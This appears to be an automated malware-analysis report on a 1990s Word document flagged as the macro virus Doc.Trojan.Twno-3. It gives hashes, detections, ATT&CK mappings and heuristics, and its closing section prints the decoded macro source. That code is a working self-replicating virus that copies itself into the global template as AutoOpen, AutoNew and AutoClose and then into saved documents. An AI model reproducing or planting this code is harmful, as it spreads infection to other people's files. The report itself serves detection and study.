Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62a91c7a6ede390b…

MALICIOUS

Office (OLE)

29.0 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4f903e0f7f7f103df79fb4b47ec9758f SHA-1: 1c001137046d2e3aa8204d8c5e520f0abc8bd358 SHA-256: 62a91c7a6ede390babfc14b88e7e6465e87ffc89572279f32499e274cd3f5de5
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The AutoOpen macro attempts to copy itself to other macro names (AutoNew, AutoClose) to ensure execution on various document events, indicating a persistence mechanism. The ClamAV detection further confirms its malicious nature. The primary attack pattern observed is the use of macros for execution and potential persistence.

Heuristics 5

  • ClamAV: Doc.Trojan.Twno-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1245 bytes
SHA-256: 17ae23e04ac0713ec01e3976a4442b5aedfb11fe29a4b3762a1b4f868da85c10
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Dim nm__()
Public Sub MAIN()
ReDim nm__(4)
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
WordBasic.DisableInput 1

nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
    WordBasic.MacroCopy filem$, "AutoNew"
    WordBasic.MacroCopy filem$, "AutoClose"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
    For kkk = 1 To nor1
        If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
        tt = 1
        End If
        Next kkk
        
End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "AutoOpen", filem$
End If

    

exit_:
End Sub

Attribute VB_Name = "NewMacros"